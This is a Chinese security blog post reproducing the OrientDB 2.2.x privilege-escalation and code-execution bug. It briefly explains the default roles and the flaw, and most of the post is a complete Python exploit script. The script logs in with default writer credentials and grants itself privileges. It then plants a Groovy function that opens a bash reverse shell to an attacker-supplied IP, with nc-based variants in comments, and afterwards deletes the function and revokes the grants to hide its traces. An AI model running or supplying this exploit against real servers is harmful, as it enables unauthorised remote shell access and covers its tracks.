今天脑子疼,过来复现下这个古老的漏洞,全程借鉴网上大佬分析,主要还是加强对OrientDB的了解。
OrientDB是一个分布式图形数据库引擎,具有文档数据库的扩展,集成的产品。第一个也是最好的可升级,高性能,可操作的NoSQL数据库。
OrientDB使用RBAC模型进行身份验证方案。默认情况下,OrientDB具有3个角色– admin,writer和reader。这些用户名与角色相同。对于服务器上创建的每个数据库,默认情况下,它将分配这3个用户。
用户的特权是:
admin –无限制地访问数据库上的所有功能
reader-只读用户。读者可以查询数据库中的任何记录,但不能修改或删除它们。它无法访问内部信息,例如用户和角色本身就是
writer -与“ reader”相同,但是它也可以创建,更新和删除记录ORole结构处理用户及其角色,并且只能由admin用户访问。OrientDB需要oRole读取权限,以允许用户显示用户的权限并进行与oRole权限相关的其他查询。
从2.2.x及更高版本开始,只要使用where,fetchplan和order by语句查询oRole,就不需要此许可要求,并且信息会返回给非特权用户。
由于我们启用了和的功能where
,fetchplan
并且order by
OrientDB具有可以执行常规功能的功能,并且该groovy
包装器没有沙箱,也没有公开系统功能,因此我们可以运行所需的任何命令。
#! /usr/bin/env python
#-*- coding: utf-8 -*-
import sys
import requests
import json
import string
import random
target = sys.argv[1]
try:
port = sys.argv[2] if sys.argv[2] else 2480
except:
port = 2480
url = "http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port)
def random_function_name(size=5, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
def enum_databases(target,port="2480"):
base_url = "http://%s:%s/listDatabases"%(target,port)
req = requests.get(base_url)
if req.status_code == 200:
#print "[+] Database Enumeration successful"
database = req.json()['databases']
return database
return False
def check_version(target,port="2480"):
base_url = "http://%s:%s/listDatabases"%(target,port)
req = requests.get(base_url)
if req.status_code == 200:
headers = req.headers['server']
#print headers
if "2.2" in headers or "3." in headers:
return True
return False
def run_queries(permission,db,content=""):
databases = enum_databases(target)
url = "http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases[0])
priv_enable = ["create","read","update","execute","delete"]
#query = "GRANT create ON database.class.ouser TO writer"
for priv in priv_enable:
if permission == "GRANT":
query = "GRANT %s ON %s TO writer"%(priv,db)
else:
query = "REVOKE %s ON %s FROM writer"%(priv,db)
req = requests.post(url,data=query,auth=('writer','writer'))
if req.status_code == 200:
pass
else:
if priv == "execute":
return True
return False
print "[+] %s"%(content)
return True
def priv_escalation(target,port="2480"):
print "[+] Checking OrientDB Database version is greater than 2.2"
if check_version(target,port):
priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function")
priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function")
priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters")
if priv1 and priv2 and priv3:
return True
return False
def exploit(target,port="2480"):
#query = '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":null'
#query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"ost","language":"groovy","code":"def command = 'whoami';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":None}
func_name = random_function_name()
print func_name
databases = enum_databases(target)
reverse_ip = raw_input('Enter the ip to connect back: ')
query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/bash\\\\n\\");file << (command);def proc = \\"bash hello.sh\\".execute();","parameters":null}'
#query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f\' \u000a File file = new File(\"hello.sh\")\u000a file.delete() \u000a file << (\"#!/bin/bash\")\u000a file << (command)\n def proc = \"bash hello.sh\".execute() ","parameters":null}'
#query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"lllasd","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute();","parameters":None}
req = requests.post("http://%s:%s/document/%s/-1:-1"%(target,port,databases[0]),data=query,auth=('writer','writer'))
if req.status_code == 201:
#print req.status_code
#print req.json()
func_id = req.json()['@rid'].strip("#")
#print func_id
print "[+] Exploitation successful, get ready for your shell.Executing %s"%(func_name)
req = requests.post("http://%s:%s/function/%s/%s"%(target,port,databases[0],func_name),auth=('writer','writer'))
#print req.status_code
#print req.text
if req.status_code == 200:
print "[+] Open netcat at port 8081.."
else:
print "[+] Exploitation failed at last step, try running the script again."
print req.status_code
print req.text
#print "[+] Deleting traces.."
req = requests.delete("http://%s:%s/document/%s/%s"%(target,port,databases[0],func_id),auth=('writer','writer'))
priv1 = run_queries("REVOKE","database.class.ouser","Cleaning Up..database.class.ouser")
priv2 = run_queries("REVOKE","database.function","Cleaning Up..database.function")
priv3 = run_queries("REVOKE","database.systemclusters","Cleaning Up..database.systemclusters")
#print req.status_code
#print req.text
def main():
target = sys.argv[1]
#port = sys.argv[1] if sys.argv[1] else 2480
try:
port = sys.argv[2] if sys.argv[2] else 2480
#print port
except:
port = 2480
if priv_escalation(target,port):
exploit(target,port)
else:
print "[+] Target not vulnerable"
main()
转载请注明:Adminxe's Blog » OrientDB <= 2.22代码执行